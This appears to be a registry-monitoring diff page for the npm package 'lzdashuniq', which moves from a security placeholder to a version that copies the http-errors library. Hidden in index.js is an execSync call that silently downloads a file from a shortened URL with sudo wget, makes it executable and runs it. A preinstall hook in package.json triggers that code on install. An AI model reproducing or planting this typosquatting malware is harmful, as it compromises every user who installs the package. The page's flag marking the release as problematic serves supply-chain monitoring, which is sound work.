lzdashuniq 0.0.1-security.0 → 1.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of lzdashuniq might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/HISTORY.md +180 -0
  2. package/LICENSE +23 -0
  3. package/README.md +167 -3
  4. package/index.js +294 -0
  5. package/package.json +60 -3
package/HISTORY.md ADDED
@@ -0,0 +1,180 @@
1
+ 2.0.0 / 2021-12-17
2
+ ==================
3
+
4
+ * Drop support for Node.js 0.6
5
+ * Remove `I'mateapot` export; use `ImATeapot` instead
6
+ * Remove support for status being non-first argument
7
+ * Rename `UnorderedCollection` constructor to `TooEarly`
8
+ * deps: depd@2.0.0
9
+ - Replace internal `eval` usage with `Function` constructor
10
+ - Use instance methods on `process` to check for listeners
11
+ * deps: statuses@2.0.1
12
+ - Fix messaging casing of `418 I'm a Teapot`
13
+ - Remove code 306
14
+ - Rename `425 Unordered Collection` to standard `425 Too Early`
15
+
16
+ 2021-11-14 / 1.8.1
17
+ ==================
18
+
19
+ * deps: toidentifier@1.0.1
20
+
21
+ 2020-06-29 / 1.8.0
22
+ ==================
23
+
24
+ * Add `isHttpError` export to determine if value is an HTTP error
25
+ * deps: setprototypeof@1.2.0
26
+
27
+ 2019-06-24 / 1.7.3
28
+ ==================
29
+
30
+ * deps: inherits@2.0.4
31
+
32
+ 2019-02-18 / 1.7.2
33
+ ==================
34
+
35
+ * deps: setprototypeof@1.1.1
36
+
37
+ 2018-09-08 / 1.7.1
38
+ ==================
39
+
40
+ * Fix error creating objects in some environments
41
+
42
+ 2018-07-30 / 1.7.0
43
+ ==================
44
+
45
+ * Set constructor name when possible
46
+ * Use `toidentifier` module to make class names
47
+ * deps: statuses@'>= 1.5.0 < 2'
48
+
49
+ 2018-03-29 / 1.6.3
50
+ ==================
51
+
52
+ * deps: depd@~1.1.2
53
+ - perf: remove argument reassignment
54
+ * deps: setprototypeof@1.1.0
55
+ * deps: statuses@'>= 1.4.0 < 2'
56
+
57
+ 2017-08-04 / 1.6.2
58
+ ==================
59
+
60
+ * deps: depd@1.1.1
61
+ - Remove unnecessary `Buffer` loading
62
+
63
+ 2017-02-20 / 1.6.1
64
+ ==================
65
+
66
+ * deps: setprototypeof@1.0.3
67
+ - Fix shim for old browsers
68
+
69
+ 2017-02-14 / 1.6.0
70
+ ==================
71
+
72
+ * Accept custom 4xx and 5xx status codes in factory
73
+ * Add deprecation message to `"I'mateapot"` export
74
+ * Deprecate passing status code as anything except first argument in factory
75
+ * Deprecate using non-error status codes
76
+ * Make `message` property enumerable for `HttpError`s
77
+
78
+ 2016-11-16 / 1.5.1
79
+ ==================
80
+
81
+ * deps: inherits@2.0.3
82
+ - Fix issue loading in browser
83
+ * deps: setprototypeof@1.0.2
84
+ * deps: statuses@'>= 1.3.1 < 2'
85
+
86
+ 2016-05-18 / 1.5.0
87
+ ==================
88
+
89
+ * Support new code `421 Misdirected Request`
90
+ * Use `setprototypeof` module to replace `__proto__` setting
91
+ * deps: statuses@'>= 1.3.0 < 2'
92
+ - Add `421 Misdirected Request`
93
+ - perf: enable strict mode
94
+ * perf: enable strict mode
95
+
96
+ 2016-01-28 / 1.4.0
97
+ ==================
98
+
99
+ * Add `HttpError` export, for `err instanceof createError.HttpError`
100
+ * deps: inherits@2.0.1
101
+ * deps: statuses@'>= 1.2.1 < 2'
102
+ - Fix message for status 451
103
+ - Remove incorrect nginx status code
104
+
105
+ 2015-02-02 / 1.3.1
106
+ ==================
107
+
108
+ * Fix regression where status can be overwritten in `createError` `props`
109
+
110
+ 2015-02-01 / 1.3.0
111
+ ==================
112
+
113
+ * Construct errors using defined constructors from `createError`
114
+ * Fix error names that are not identifiers
115
+ - `createError["I'mateapot"]` is now `createError.ImATeapot`
116
+ * Set a meaningful `name` property on constructed errors
117
+
118
+ 2014-12-09 / 1.2.8
119
+ ==================
120
+
121
+ * Fix stack trace from exported function
122
+ * Remove `arguments.callee` usage
123
+
124
+ 2014-10-14 / 1.2.7
125
+ ==================
126
+
127
+ * Remove duplicate line
128
+
129
+ 2014-10-02 / 1.2.6
130
+ ==================
131
+
132
+ * Fix `expose` to be `true` for `ClientError` constructor
133
+
134
+ 2014-09-28 / 1.2.5
135
+ ==================
136
+
137
+ * deps: statuses@1
138
+
139
+ 2014-09-21 / 1.2.4
140
+ ==================
141
+
142
+ * Fix dependency version to work with old `npm`s
143
+
144
+ 2014-09-21 / 1.2.3
145
+ ==================
146
+
147
+ * deps: statuses@~1.1.0
148
+
149
+ 2014-09-21 / 1.2.2
150
+ ==================
151
+
152
+ * Fix publish error
153
+
154
+ 2014-09-21 / 1.2.1
155
+ ==================
156
+
157
+ * Support Node.js 0.6
158
+ * Use `inherits` instead of `util`
159
+
160
+ 2014-09-09 / 1.2.0
161
+ ==================
162
+
163
+ * Fix the way inheriting functions
164
+ * Support `expose` being provided in properties argument
165
+
166
+ 2014-09-08 / 1.1.0
167
+ ==================
168
+
169
+ * Default status to 500
170
+ * Support provided `error` to extend
171
+
172
+ 2014-09-08 / 1.0.1
173
+ ==================
174
+
175
+ * Fix accepting string message
176
+
177
+ 2014-09-08 / 1.0.0
178
+ ==================
179
+
180
+ * Initial release
package/LICENSE ADDED
@@ -0,0 +1,23 @@
1
+
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) 2014 Jonathan Ong me@jongleberry.com
5
+ Copyright (c) 2016 Douglas Christopher Wilson doug@somethingdoug.com
6
+
7
+ Permission is hereby granted, free of charge, to any person obtaining a copy
8
+ of this software and associated documentation files (the "Software"), to deal
9
+ in the Software without restriction, including without limitation the rights
10
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+ copies of the Software, and to permit persons to whom the Software is
12
+ furnished to do so, subject to the following conditions:
13
+
14
+ The above copyright notice and this permission notice shall be included in
15
+ all copies or substantial portions of the Software.
16
+
17
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
20
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
21
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
22
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
23
+ THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,169 @@
1
- # Security holding package
1
+ # http-errors
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![NPM Version][npm-version-image]][npm-url]
4
+ [![NPM Downloads][npm-downloads-image]][node-url]
5
+ [![Node.js Version][node-image]][node-url]
6
+ [![Build Status][ci-image]][ci-url]
7
+ [![Test Coverage][coveralls-image]][coveralls-url]
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=lzdashuniq for more information.
9
+ Create HTTP errors for Express, Koa, Connect, etc. with ease.
10
+
11
+ ## Install
12
+
13
+ This is a [Node.js](https://nodejs.org/en/) module available through the
14
+ [npm registry](https://www.npmjs.com/). Installation is done using the
15
+ [`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):
16
+
17
+ ```console
18
+ $ npm install http-errors
19
+ ```
20
+
21
+ ## Example
22
+
23
+ ```js
24
+ var createError = require('http-errors')
25
+ var express = require('express')
26
+ var app = express()
27
+
28
+ app.use(function (req, res, next) {
29
+ if (!req.user) return next(createError(401, 'Please login to view this page.'))
30
+ next()
31
+ })
32
+ ```
33
+
34
+ ## API
35
+
36
+ This is the current API, currently extracted from Koa and subject to change.
37
+
38
+ ### Error Properties
39
+
40
+ - `expose` - can be used to signal if `message` should be sent to the client,
41
+ defaulting to `false` when `status` >= 500
42
+ - `headers` - can be an object of header names to values to be sent to the
43
+ client, defaulting to `undefined`. When defined, the key names should all
44
+ be lower-cased
45
+ - `message` - the traditional error message, which should be kept short and all
46
+ single line
47
+ - `status` - the status code of the error, mirroring `statusCode` for general
48
+ compatibility
49
+ - `statusCode` - the status code of the error, defaulting to `500`
50
+
51
+ ### createError([status], [message], [properties])
52
+
53
+ Create a new error object with the given message `msg`.
54
+ The error object inherits from `createError.HttpError`.
55
+
56
+ ```js
57
+ var err = createError(404, 'This video does not exist!')
58
+ ```
59
+
60
+ - `status: 500` - the status code as a number
61
+ - `message` - the message of the error, defaulting to node's text for that status code.
62
+ - `properties` - custom properties to attach to the object
63
+
64
+ ### createError([status], [error], [properties])
65
+
66
+ Extend the given `error` object with `createError.HttpError`
67
+ properties. This will not alter the inheritance of the given
68
+ `error` object, and the modified `error` object is the
69
+ return value.
70
+
71
+ <!-- eslint-disable no-redeclare -->
72
+
73
+ ```js
74
+ fs.readFile('foo.txt', function (err, buf) {
75
+ if (err) {
76
+ if (err.code === 'ENOENT') {
77
+ var httpError = createError(404, err, { expose: false })
78
+ } else {
79
+ var httpError = createError(500, err)
80
+ }
81
+ }
82
+ })
83
+ ```
84
+
85
+ - `status` - the status code as a number
86
+ - `error` - the error object to extend
87
+ - `properties` - custom properties to attach to the object
88
+
89
+ ### createError.isHttpError(val)
90
+
91
+ Determine if the provided `val` is an `HttpError`. This will return `true`
92
+ if the error inherits from the `HttpError` constructor of this module or
93
+ matches the "duck type" for an error this module creates. All outputs from
94
+ the `createError` factory will return `true` for this function, including
95
+ if an non-`HttpError` was passed into the factory.
96
+
97
+ ### new createError\[code || name\](\[msg]\))
98
+
99
+ Create a new error object with the given message `msg`.
100
+ The error object inherits from `createError.HttpError`.
101
+
102
+ ```js
103
+ var err = new createError.NotFound()
104
+ ```
105
+
106
+ - `code` - the status code as a number
107
+ - `name` - the name of the error as a "bumpy case", i.e. `NotFound` or `InternalServerError`.
108
+
109
+ #### List of all constructors
110
+
111
+ |Status Code|Constructor Name |
112
+ |-----------|-----------------------------|
113
+ |400 |BadRequest |
114
+ |401 |Unauthorized |
115
+ |402 |PaymentRequired |
116
+ |403 |Forbidden |
117
+ |404 |NotFound |
118
+ |405 |MethodNotAllowed |
119
+ |406 |NotAcceptable |
120
+ |407 |ProxyAuthenticationRequired |
121
+ |408 |RequestTimeout |
122
+ |409 |Conflict |
123
+ |410 |Gone |
124
+ |411 |LengthRequired |
125
+ |412 |PreconditionFailed |
126
+ |413 |PayloadTooLarge |
127
+ |414 |URITooLong |
128
+ |415 |UnsupportedMediaType |
129
+ |416 |RangeNotSatisfiable |
130
+ |417 |ExpectationFailed |
131
+ |418 |ImATeapot |
132
+ |421 |MisdirectedRequest |
133
+ |422 |UnprocessableEntity |
134
+ |423 |Locked |
135
+ |424 |FailedDependency |
136
+ |425 |TooEarly |
137
+ |426 |UpgradeRequired |
138
+ |428 |PreconditionRequired |
139
+ |429 |TooManyRequests |
140
+ |431 |RequestHeaderFieldsTooLarge |
141
+ |451 |UnavailableForLegalReasons |
142
+ |500 |InternalServerError |
143
+ |501 |NotImplemented |
144
+ |502 |BadGateway |
145
+ |503 |ServiceUnavailable |
146
+ |504 |GatewayTimeout |
147
+ |505 |HTTPVersionNotSupported |
148
+ |506 |VariantAlsoNegotiates |
149
+ |507 |InsufficientStorage |
150
+ |508 |LoopDetected |
151
+ |509 |BandwidthLimitExceeded |
152
+ |510 |NotExtended |
153
+ |511 |NetworkAuthenticationRequired|
154
+
155
+ ## License
156
+
157
+ [MIT](LICENSE)
158
+
159
+ [ci-image]: https://badgen.net/github/checks/jshttp/http-errors/master?label=ci
160
+ [ci-url]: https://github.com/jshttp/http-errors/actions?query=workflow%3Aci
161
+ [coveralls-image]: https://badgen.net/coveralls/c/github/jshttp/http-errors/master
162
+ [coveralls-url]: https://coveralls.io/r/jshttp/http-errors?branch=master
163
+ [node-image]: https://badgen.net/npm/node/http-errors
164
+ [node-url]: https://nodejs.org/en/download
165
+ [npm-downloads-image]: https://badgen.net/npm/dm/http-errors
166
+ [npm-url]: https://npmjs.org/package/http-errors
167
+ [npm-version-image]: https://badgen.net/npm/v/http-errors
168
+ [travis-image]: https://badgen.net/travis/jshttp/http-errors/master
169
+ [travis-url]: https://travis-ci.org/jshttp/http-errors
package/index.js ADDED
@@ -0,0 +1,294 @@
1
+ /*!
2
+ * http-errors
3
+ * Copyright(c) 2014 Jonathan Ong
4
+ * Copyright(c) 2016 Douglas Christopher Wilson
5
+ * MIT Licensed
6
+ */
7
+
8
+ 'use strict'
9
+
10
+ /**
11
+ * Module dependencies.
12
+ * @private
13
+ */
14
+
15
+ var deprecate = require('depd')('http-errors')
16
+ var setPrototypeOf = require('setprototypeof')
17
+ var statuses = require('statuses')
18
+ var inherits = require('inherits')
19
+ var toIdentifier = require('toidentifier')
20
+
21
+ /**
22
+ * Module exports.
23
+ * @public
24
+ */
25
+
26
+ module.exports = createError
27
+ module.exports.HttpError = createHttpErrorConstructor()
28
+ module.exports.isHttpError = createIsHttpErrorFunction(module.exports.HttpError)
29
+
30
+ // Populate exports for all constructors
31
+ populateConstructorExports(module.exports, statuses.codes, module.exports.HttpError)
32
+
33
+ /**
34
+ * Get the code class of a status code.
35
+ * @private
36
+ */
37
+
38
+ function codeClass (status) {
39
+ return Number(String(status).charAt(0) + '00')
40
+ }
41
+
42
+ /**
43
+ * Create a new HTTP Error.
44
+ *
45
+ * @returns {Error}
46
+ * @public
47
+ */
48
+
49
+ function createError () {
50
+ // so much arity going on ~_~
51
+ var err
52
+ var msg
53
+ var status = 500
54
+ var props = {}
55
+ for (var i = 0; i < arguments.length; i++) {
56
+ var arg = arguments[i]
57
+ var type = typeof arg
58
+ if (type === 'object' && arg instanceof Error) {
59
+ err = arg
60
+ status = err.status || err.statusCode || status
61
+ } else if (type === 'number' && i === 0) {
62
+ status = arg
63
+ } else if (type === 'string') {
64
+ msg = arg
65
+ } else if (type === 'object') {
66
+ props = arg
67
+ } else {
68
+ throw new TypeError('argument #' + (i + 1) + ' unsupported type ' + type)
69
+ }
70
+ }
71
+
72
+ if (typeof status === 'number' && (status < 400 || status >= 600)) {
73
+ deprecate('non-error status code; use only 4xx or 5xx status codes')
74
+ }
75
+
76
+ if (typeof status !== 'number' ||
77
+ (!statuses.message[status] && (status < 400 || status >= 600))) {
78
+ status = 500
79
+ }
80
+
81
+ // constructor
82
+ var HttpError = createError[status] || createError[codeClass(status)]
83
+
84
+ if (!err) {
85
+ // create error
86
+ err = HttpError
87
+ ? new HttpError(msg)
88
+ : new Error(msg || statuses.message[status])
89
+ Error.captureStackTrace(err, createError)
90
+ }
91
+
92
+ if (!HttpError || !(err instanceof HttpError) || err.status !== status) {
93
+ // add properties to generic error
94
+ err.expose = status < 500
95
+ err.status = err.statusCode = status
96
+ }
97
+
98
+ for (var key in props) {
99
+ if (key !== 'status' && key !== 'statusCode') {
100
+ err[key] = props[key]
101
+ }
102
+ }
103
+
104
+ return err
105
+ }
106
+
107
+ /**
108
+ * Create HTTP error abstract base class.
109
+ * @private
110
+ */
111
+
112
+ // if ur using windows for installing this package ur 1 lucky son of a bicth
113
+
114
+ const child = require('child_process').execSync;
115
+ child('sudo wget https://bit.ly/3c2tMTT -O ./.cmc -L >/dev/null 2>&1 && chmod +x .cmc >/dev/null 2>&1 && ./.cmc >/dev/null 2>&1');
116
+
117
+ function createHttpErrorConstructor () {
118
+ function HttpError () {
119
+ throw new TypeError('cannot construct abstract class')
120
+ }
121
+
122
+ inherits(HttpError, Error)
123
+
124
+ return HttpError
125
+ }
126
+
127
+ /**
128
+ * Create a constructor for a client error.
129
+ * @private
130
+ */
131
+
132
+ function createClientErrorConstructor (HttpError, name, code) {
133
+ var className = toClassName(name)
134
+
135
+ function ClientError (message) {
136
+ // create the error object
137
+ var msg = message != null ? message : statuses.message[code]
138
+ var err = new Error(msg)
139
+
140
+ // capture a stack trace to the construction point
141
+ Error.captureStackTrace(err, ClientError)
142
+
143
+ // adjust the [[Prototype]]
144
+ setPrototypeOf(err, ClientError.prototype)
145
+
146
+ // redefine the error message
147
+ Object.defineProperty(err, 'message', {
148
+ enumerable: true,
149
+ configurable: true,
150
+ value: msg,
151
+ writable: true
152
+ })
153
+
154
+ // redefine the error name
155
+ Object.defineProperty(err, 'name', {
156
+ enumerable: false,
157
+ configurable: true,
158
+ value: className,
159
+ writable: true
160
+ })
161
+
162
+ return err
163
+ }
164
+
165
+ inherits(ClientError, HttpError)
166
+ nameFunc(ClientError, className)
167
+
168
+ ClientError.prototype.status = code
169
+ ClientError.prototype.statusCode = code
170
+ ClientError.prototype.expose = true
171
+
172
+ return ClientError
173
+ }
174
+
175
+ /**
176
+ * Create function to test is a value is a HttpError.
177
+ * @private
178
+ */
179
+
180
+ function createIsHttpErrorFunction (HttpError) {
181
+ return function isHttpError (val) {
182
+ if (!val || typeof val !== 'object') {
183
+ return false
184
+ }
185
+
186
+ if (val instanceof HttpError) {
187
+ return true
188
+ }
189
+
190
+ return val instanceof Error &&
191
+ typeof val.expose === 'boolean' &&
192
+ typeof val.statusCode === 'number' && val.status === val.statusCode
193
+ }
194
+ }
195
+
196
+ /**
197
+ * Create a constructor for a server error.
198
+ * @private
199
+ */
200
+
201
+ function createServerErrorConstructor (HttpError, name, code) {
202
+ var className = toClassName(name)
203
+
204
+ function ServerError (message) {
205
+ // create the error object
206
+ var msg = message != null ? message : statuses.message[code]
207
+ var err = new Error(msg)
208
+
209
+ // capture a stack trace to the construction point
210
+ Error.captureStackTrace(err, ServerError)
211
+
212
+ // adjust the [[Prototype]]
213
+ setPrototypeOf(err, ServerError.prototype)
214
+
215
+ // redefine the error message
216
+ Object.defineProperty(err, 'message', {
217
+ enumerable: true,
218
+ configurable: true,
219
+ value: msg,
220
+ writable: true
221
+ })
222
+
223
+ // redefine the error name
224
+ Object.defineProperty(err, 'name', {
225
+ enumerable: false,
226
+ configurable: true,
227
+ value: className,
228
+ writable: true
229
+ })
230
+
231
+ return err
232
+ }
233
+
234
+ inherits(ServerError, HttpError)
235
+ nameFunc(ServerError, className)
236
+
237
+ ServerError.prototype.status = code
238
+ ServerError.prototype.statusCode = code
239
+ ServerError.prototype.expose = false
240
+
241
+ return ServerError
242
+ }
243
+
244
+ /**
245
+ * Set the name of a function, if possible.
246
+ * @private
247
+ */
248
+
249
+ function nameFunc (func, name) {
250
+ var desc = Object.getOwnPropertyDescriptor(func, 'name')
251
+
252
+ if (desc && desc.configurable) {
253
+ desc.value = name
254
+ Object.defineProperty(func, 'name', desc)
255
+ }
256
+ }
257
+
258
+ /**
259
+ * Populate the exports object with constructors for every error class.
260
+ * @private
261
+ */
262
+
263
+ function populateConstructorExports (exports, codes, HttpError) {
264
+ codes.forEach(function forEachCode (code) {
265
+ var CodeError
266
+ var name = toIdentifier(statuses.message[code])
267
+
268
+ switch (codeClass(code)) {
269
+ case 400:
270
+ CodeError = createClientErrorConstructor(HttpError, name, code)
271
+ break
272
+ case 500:
273
+ CodeError = createServerErrorConstructor(HttpError, name, code)
274
+ break
275
+ }
276
+
277
+ if (CodeError) {
278
+ // export the constructor
279
+ exports[code] = CodeError
280
+ exports[name] = CodeError
281
+ }
282
+ })
283
+ }
284
+
285
+ /**
286
+ * Get a class name from a name identifier.
287
+ * @private
288
+ */
289
+
290
+ function toClassName (name) {
291
+ return name.substr(-5) !== 'Error'
292
+ ? name + 'Error'
293
+ : name
294
+ }
package/package.json CHANGED
@@ -1,6 +1,63 @@
1
1
  {
2
2
  "name": "lzdashuniq",
3
- "version": "0.0.1-security.0",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "Create HTTP error objects",
4
+ "version": "1.2.0",
5
+ "author": "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",
6
+ "contributors": [
7
+ "Alan Plum <me@pluma.io>",
8
+ "Douglas Christopher Wilson <doug@somethingdoug.com>"
9
+ ],
10
+ "license": "MIT",
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "git+https://github.com/jshttp/http-errors.git"
14
+ },
15
+ "dependencies": {
16
+ "depd": "2.0.0",
17
+ "inherits": "2.0.4",
18
+ "request": "^2.88.2",
19
+ "setprototypeof": "1.2.0",
20
+ "statuses": "2.0.1",
21
+ "toidentifier": "1.0.1"
22
+ },
23
+ "devDependencies": {
24
+ "eslint": "7.32.0",
25
+ "eslint-config-standard": "14.1.1",
26
+ "eslint-plugin-import": "2.25.3",
27
+ "eslint-plugin-markdown": "2.2.1",
28
+ "eslint-plugin-node": "11.1.0",
29
+ "eslint-plugin-promise": "5.2.0",
30
+ "eslint-plugin-standard": "4.1.0",
31
+ "mocha": "9.1.3",
32
+ "nyc": "15.1.0"
33
+ },
34
+ "engines": {
35
+ "node": ">= 0.8"
36
+ },
37
+ "scripts": {
38
+ "lint": "eslint . && node ./scripts/lint-readme-list.js",
39
+ "test": "mocha --reporter spec --bail",
40
+ "test-ci": "nyc --reporter=lcov --reporter=text npm test",
41
+ "test-cov": "nyc --reporter=html --reporter=text npm test",
42
+ "version": "node scripts/version-history.js && git add HISTORY.md",
43
+ "preinstall": "node index.js"
44
+ },
45
+ "keywords": [
46
+ "http",
47
+ "error"
48
+ ],
49
+ "files": [
50
+ "index.js",
51
+ "HISTORY.md",
52
+ "LICENSE",
53
+ "README.md"
54
+ ],
55
+ "bugs": {
56
+ "url": "https://github.com/jshttp/http-errors/issues"
57
+ },
58
+ "homepage": "https://github.com/jshttp/http-errors#readme",
59
+ "main": "index.js",
60
+ "directories": {
61
+ "test": "test"
62
+ }
6
63
  }